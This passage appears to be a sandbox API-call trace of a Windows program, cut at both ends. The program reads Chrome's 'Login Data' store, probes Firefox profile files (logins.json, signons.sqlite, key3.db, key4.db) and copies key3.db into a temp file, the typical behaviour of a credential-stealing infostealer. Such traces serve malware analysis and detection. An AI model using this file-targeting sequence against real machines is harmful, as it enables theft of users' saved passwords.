data"), fInfoLevelId=0x0, lpFileInformation=0x3ce8fc | out: lpFileInformation=0x3ce8fc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7c7c30, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xc7c7c30, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xc8aad00, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x4800)) returned 1 [0206.846] GetLastError () returned 0x12 [0206.846] SetErrorMode (uMode=0x0) returned 0x1 [0206.847] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x3ce364, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a [0206.847] GetLastError () returned 0x12 [0206.847] SetErrorMode (uMode=0x1) returned 0x0 [0206.849] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\login data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x378 [0206.849] GetLastError () returned 0x0 [0206.850] GetFileType (hFile=0x378) returned 0x1 [0206.850] SetErrorMode (uMode=0x0) returned 0x1 [0206.850] GetFileType (hFile=0x378) returned 0x1 [0206.850] GetACP () returned 0x4e4 [0206.859] GetFileSize (in: hFile=0x378, lpFileSizeHigh=0x3ce9ec | out: lpFileSizeHigh=0x3ce9ec*=0x0) returned 0x4800 [0206.859] GetLastError () returned 0x0 [0206.862] ReadFile (in: hFile=0x378, lpBuffer=0x263faa0, nNumberOfBytesToRead=0x4800, lpNumberOfBytesRead=0x3ce90c, lpOverlapped=0x0 | out: lpBuffer=0x263faa0*, lpNumberOfBytesRead=0x3ce90c*=0x4800, lpOverlapped=0x0) returned 1 [0206.864] GetLastError () returned 0x0 [0206.865] CloseHandle (hObject=0x378) returned 1 [0206.865] GetLastError () returned 0x0 [0206.872] VarDecCmp (pdecLeft=0x3cea00, pdecRight=0x3ce9f0) returned 0x2 [0206.930] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.930] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd6b8 | out: pdecResult=0x3cd6b8) returned 0x0 [0206.930] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.930] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.972] VarDecRound (in: pdecIn=0x3cd298, cDecimals=0, pdecResult=0x3cd280 | out: pdecResult=0x3cd280) returned 0x0 [0206.972] VarDecRound (in: pdecIn=0x3cd298, cDecimals=0, pdecResult=0x3cd280 | out: pdecResult=0x3cd280) returned 0x0 [0206.973] VarDecRound (in: pdecIn=0x3cd250, cDecimals=0, pdecResult=0x3cd270 | out: pdecResult=0x3cd270) returned 0x0 [0206.973] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.973] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.973] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.973] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.973] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.973] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.973] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.973] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.973] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.973] VarDecRound (in: pdecIn=0x3cd298, cDecimals=0, pdecResult=0x3cd280 | out: pdecResult=0x3cd280) returned 0x0 [0206.973] VarDecRound (in: pdecIn=0x3cd298, cDecimals=0, pdecResult=0x3cd280 | out: pdecResult=0x3cd280) returned 0x0 [0206.974] VarDecRound (in: pdecIn=0x3cd250, cDecimals=0, pdecResult=0x3cd270 | out: pdecResult=0x3cd270) returned 0x0 [0206.974] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.974] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.974] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.974] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.974] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.974] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.974] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.974] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.974] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.974] VarDecRound (in: pdecIn=0x3cd298, cDecimals=0, pdecResult=0x3cd280 | out: pdecResult=0x3cd280) returned 0x0 [0206.974] VarDecRound (in: pdecIn=0x3cd298, cDecimals=0, pdecResult=0x3cd280 | out: pdecResult=0x3cd280) returned 0x0 [0206.974] VarDecRound (in: pdecIn=0x3cd250, cDecimals=0, pdecResult=0x3cd270 | out: pdecResult=0x3cd270) returned 0x0 [0206.974] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.974] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.974] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.974] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.974] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.974] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.974] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.974] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.974] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.974] VarDecRound (in: pdecIn=0x3cd298, cDecimals=0, pdecResult=0x3cd280 | out: pdecResult=0x3cd280) returned 0x0 [0206.974] VarDecRound (in: pdecIn=0x3cd298, cDecimals=0, pdecResult=0x3cd280 | out: pdecResult=0x3cd280) returned 0x0 [0206.974] VarDecRound (in: pdecIn=0x3cd250, cDecimals=0, pdecResult=0x3cd270 | out: pdecResult=0x3cd270) returned 0x0 [0206.974] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.974] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.974] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.975] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.975] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.975] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.975] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.975] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.975] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.975] VarDecRound (in: pdecIn=0x3cd298, cDecimals=0, pdecResult=0x3cd280 | out: pdecResult=0x3cd280) returned 0x0 [0206.975] VarDecRound (in: pdecIn=0x3cd298, cDecimals=0, pdecResult=0x3cd280 | out: pdecResult=0x3cd280) returned 0x0 [0206.975] VarDecRound (in: pdecIn=0x3cd250, cDecimals=0, pdecResult=0x3cd270 | out: pdecResult=0x3cd270) returned 0x0 [0206.975] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.975] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.975] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.975] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.975] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.975] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.975] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.975] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.975] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.975] VarDecRound (in: pdecIn=0x3cd298, cDecimals=0, pdecResult=0x3cd280 | out: pdecResult=0x3cd280) returned 0x0 [0206.975] VarDecRound (in: pdecIn=0x3cd298, cDecimals=0, pdecResult=0x3cd280 | out: pdecResult=0x3cd280) returned 0x0 [0206.975] VarDecRound (in: pdecIn=0x3cd250, cDecimals=0, pdecResult=0x3cd270 | out: pdecResult=0x3cd270) returned 0x0 [0206.975] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.975] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.975] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.975] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.975] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.975] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.975] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.975] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.975] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.975] VarDecRound (in: pdecIn=0x3cd298, cDecimals=0, pdecResult=0x3cd280 | out: pdecResult=0x3cd280) returned 0x0 [0206.975] VarDecRound (in: pdecIn=0x3cd298, cDecimals=0, pdecResult=0x3cd280 | out: pdecResult=0x3cd280) returned 0x0 [0206.975] VarDecRound (in: pdecIn=0x3cd250, cDecimals=0, pdecResult=0x3cd270 | out: pdecResult=0x3cd270) returned 0x0 [0206.975] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.975] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.975] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.975] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.975] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.976] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.976] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.976] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.976] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.976] VarDecRound (in: pdecIn=0x3cd298, cDecimals=0, pdecResult=0x3cd280 | out: pdecResult=0x3cd280) returned 0x0 [0206.976] VarDecRound (in: pdecIn=0x3cd298, cDecimals=0, pdecResult=0x3cd280 | out: pdecResult=0x3cd280) returned 0x0 [0206.976] VarDecRound (in: pdecIn=0x3cd250, cDecimals=0, pdecResult=0x3cd270 | out: pdecResult=0x3cd270) returned 0x0 [0206.976] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.976] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.976] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.976] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.976] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0206.976] VarDecCmp (pdecLeft=0x3cd2d0, pdecRight=0x3cd2c0) returned 0x1 [0206.976] VarDecRound (in: pdecIn=0x3cd2d0, cDecimals=0, pdecResult=0x3cd2b8 | out: pdecResult=0x3cd2b8) returned 0x0 [0207.084] VarDecRound (in: pdecIn=0x3cdbe4, cDecimals=0, pdecResult=0x3cdbcc | out: pdecResult=0x3cdbcc) returned 0x0 [0207.084] VarDecRound (in: pdecIn=0x3cdbac, cDecimals=0, pdecResult=0x3cdb94 | out: pdecResult=0x3cdb94) returned 0x0 [0207.084] VarDecRound (in: pdecIn=0x3cdbac, cDecimals=0, pdecResult=0x3cdb94 | out: pdecResult=0x3cdb94) returned 0x0 [0207.084] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Login Data", nBufferLength=0x105, lpBuffer=0x3ce548, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Login Data", lpFilePart=0x0) returned 0x42 [0207.084] GetLastError () returned 0x0 [0207.084] SetErrorMode (uMode=0x1) returned 0x0 [0207.085] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\login data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9c8 | out: lpFileInformation=0x3ce9c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0207.085] GetLastError () returned 0x2 [0207.085] SetErrorMode (uMode=0x0) returned 0x1 [0207.138] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini", nBufferLength=0x105, lpBuffer=0x3ce41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini", lpFilePart=0x0) returned 0x3e [0207.138] GetLastError () returned 0x2 [0207.138] SetErrorMode (uMode=0x1) returned 0x0 [0207.138] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x378 [0207.140] GetLastError () returned 0x0 [0207.140] GetFileType (hFile=0x378) returned 0x1 [0207.140] GetFileType (hFile=0x378) returned 0x1 [0207.140] ReadFile (in: hFile=0x378, lpBuffer=0x26bdabc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ce984, lpOverlapped=0x0 | out: lpBuffer=0x26bdabc*, lpNumberOfBytesRead=0x3ce984*=0x6f, lpOverlapped=0x0) returned 1 [0207.141] GetLastError () returned 0x0 [0207.141] ReadFile (in: hFile=0x378, lpBuffer=0x26bdabc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ce984, lpOverlapped=0x0 | out: lpBuffer=0x26bdabc*, lpNumberOfBytesRead=0x3ce984*=0x0, lpOverlapped=0x0) returned 1 [0207.141] GetLastError () returned 0x0 [0207.142] CloseHandle (hObject=0x378) returned 1 [0207.142] GetLastError () returned 0x0 [0207.178] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\logins.json", nBufferLength=0x105, lpBuffer=0x3ce510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\logins.json", lpFilePart=0x0) returned 0x57 [0207.178] GetLastError () returned 0x0 [0207.178] SetErrorMode (uMode=0x1) returned 0x0 [0207.178] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\logins.json" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\logins.json"), fInfoLevelId=0x0, lpFileInformation=0x3ce990 | out: lpFileInformation=0x3ce990*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0207.181] GetLastError () returned 0x2 [0207.181] SetErrorMode (uMode=0x0) returned 0x1 [0207.181] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini", nBufferLength=0x105, lpBuffer=0x3ce41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini", lpFilePart=0x0) returned 0x3e [0207.181] GetLastError () returned 0x2 [0207.181] SetErrorMode (uMode=0x1) returned 0x0 [0207.181] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x378 [0207.181] GetLastError () returned 0x0 [0207.182] GetFileType (hFile=0x378) returned 0x1 [0207.182] GetFileType (hFile=0x378) returned 0x1 [0207.182] ReadFile (in: hFile=0x378, lpBuffer=0x26c2b8c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ce984, lpOverlapped=0x0 | out: lpBuffer=0x26c2b8c*, lpNumberOfBytesRead=0x3ce984*=0x6f, lpOverlapped=0x0) returned 1 [0207.182] GetLastError () returned 0x0 [0207.182] ReadFile (in: hFile=0x378, lpBuffer=0x26c2b8c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ce984, lpOverlapped=0x0 | out: lpBuffer=0x26c2b8c*, lpNumberOfBytesRead=0x3ce984*=0x0, lpOverlapped=0x0) returned 1 [0207.182] GetLastError () returned 0x0 [0207.182] CloseHandle (hObject=0x378) returned 1 [0207.182] GetLastError () returned 0x0 [0207.218] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\signons.sqlite", nBufferLength=0x105, lpBuffer=0x3ce510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\signons.sqlite", lpFilePart=0x0) returned 0x5a [0207.218] GetLastError () returned 0x0 [0207.218] SetErrorMode (uMode=0x1) returned 0x0 [0207.218] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\signons.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\signons.sqlite"), fInfoLevelId=0x0, lpFileInformation=0x3ce990 | out: lpFileInformation=0x3ce990*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40f29ea0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x40f29ea0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x41947c20, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x50000)) returned 1 [0207.220] GetLastError () returned 0x0 [0207.220] SetErrorMode (uMode=0x0) returned 0x1 [0207.234] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\key4.db", nBufferLength=0x105, lpBuffer=0x3ce2d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\key4.db", lpFilePart=0x0) returned 0x53 [0207.234] GetLastError () returned 0x0 [0207.234] SetErrorMode (uMode=0x1) returned 0x0 [0207.234] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\key4.db" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\key4.db"), fInfoLevelId=0x0, lpFileInformation=0x3ce758 | out: lpFileInformation=0x3ce758*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0207.234] GetLastError () returned 0x2 [0207.235] SetErrorMode (uMode=0x0) returned 0x1 [0207.235] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\key3.db", nBufferLength=0x105, lpBuffer=0x3ce2d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\key3.db", lpFilePart=0x0) returned 0x53 [0207.235] GetLastError () returned 0x2 [0207.235] SetErrorMode (uMode=0x1) returned 0x0 [0207.235] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\key3.db" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\key3.db"), fInfoLevelId=0x0, lpFileInformation=0x3ce758 | out: lpFileInformation=0x3ce758*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f0f6780, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3f0f6780, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf441bb40, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0207.236] GetLastError () returned 0x2 [0207.236] SetErrorMode (uMode=0x0) returned 0x1 [0207.236] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x5ec490 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 0x25 [0207.236] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x3ce2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x25 [0207.236] GetLastError () returned 0x2 [0207.237] CoCreateGuid (in: pguid=0x3ce8a4 | out: pguid=0x3ce8a4*(Data1=0xd3625fbb, Data2=0x19c3, Data3=0x4284, Data4=([0]=0xa1, [1]=0x22, [2]=0xf0, [3]=0x8, [4]=0x79, [5]=0x67, [6]=0x76, [7]=0xd0))) returned 0x0 [0207.238] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\key3.db", nBufferLength=0x105, lpBuffer=0x3ce2ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\key3.db", lpFilePart=0x0) returned 0x53 [0207.238] GetLastError () returned 0x2 [0207.238] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\637041563908370000_d3625fbb-19c3-4284-a122-f008796776d0.db", nBufferLength=0x105, lpBuffer=0x3ce2ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\637041563908370000_d3625fbb-19c3-4284-a122-f008796776d0.db", lpFilePart=0x0) returned 0x5f [0207.238] GetLastError () returned 0x2 [0207.238] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\key3.db" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\key3.db"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\637041563908370000_d3625fbb-19c3-4284-a122-f008796776d0.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\637041563908370000_d3625fbb-19c3-4284-a122-f008796776d0.db"), bFailIfExists=1) returned 1 [0207.244] GetLastError () returned 0x0 [0207.253] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\637041563908370000_d3625fbb-19c3-4284-a122-f008796776d0.db", nBufferLength=0x105, lpBuffer=0x3ce164, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\637041563908370000_d3625fbb-19c3-4284-a122-f008796776d0.db", lpFilePart=0x0) returned 0x5f [0207.253] GetLastError () returned 0x0 [0207.253] SetErrorMode (uMode=0x1) returned 0x0 [0207.253] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\637041563908370000_d3625fbb-19c3-4284-a122-f008796776d0.db" (normalized: 